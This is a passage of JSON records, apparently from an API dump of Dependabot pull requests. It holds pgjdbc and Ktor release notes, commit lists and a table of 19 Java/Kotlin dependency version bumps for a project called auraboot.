LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.8...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=org.postgresql:postgresql\u0026package-manager=gradle\u0026previous-version=42.7.8\u0026new-version=42.7.11)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/AuraBootTeam/auraboot/pull/402","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/AuraBootTeam%2Fauraboot/issues/402","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/402/packages"},{"uuid":"4575662305","node_id":"PR_kwDONVAhjM7iAThZ","number":642,"state":"closed","title":"Bump the minor group across 1 directory with 19 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-04T02:18:45.000Z","author_association":null,"state_reason":null,"created_at":"2026-06-02T23:24:40.000Z","updated_at":"2026-06-04T02:18:47.000Z","time_to_close":96845,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"minor","update_count":19,"packages":[{"name":"io.ktor:ktor-http-jvm","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jwt","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-call-logging","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-metrics-micrometer","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.32","new_version":"1.5.33","repository_url":"https://github.com/qos-ch/logback"},{"name":"io.ktor.plugin","old_version":"3.4.3","new_version":"3.5.0"},{"name":"com.gradleup.shadow","old_version":"9.4.1","new_version":"9.4.2","repository_url":"https://github.com/GradleUp/shadow"},{"name":"org.slf4j:slf4j-api","old_version":"2.0.17","new_version":"2.0.18"},{"name":"io.mockk:mockk","old_version":"1.14.9","new_version":"1.14.11","repository_url":"https://github.com/mockk/mockk"},{"name":"org.apache.kafka:kafka-clients","old_version":"4.2.0","new_version":"4.3.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.4.0","new_version":"12.7.0"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.4","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.21.2","new_version":"2.21.4"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor group with 19 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [io.ktor:ktor-http-jvm](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-status-pages](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-auth](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-auth-jwt](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-call-logging](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-metrics-micrometer](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.32` | `1.5.33` |\n| io.ktor.plugin | `3.4.3` | `3.5.0` |\n| [com.gradleup.shadow](https://github.com/GradleUp/shadow) | `9.4.1` | `9.4.2` |\n| org.slf4j:slf4j-api | `2.0.17` | `2.0.18` |\n| [io.mockk:mockk](https://github.com/mockk/mockk) | `1.14.9` | `1.14.11` |\n| org.apache.kafka:kafka-clients | `4.2.0` | `4.3.0` |\n| org.flywaydb:flyway-database-postgresql | `12.4.0` | `12.7.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.4` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.21.2` | `2.21.4` |\n\n\nUpdates `io.ktor:ktor-http-jvm` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-http-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-http-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca 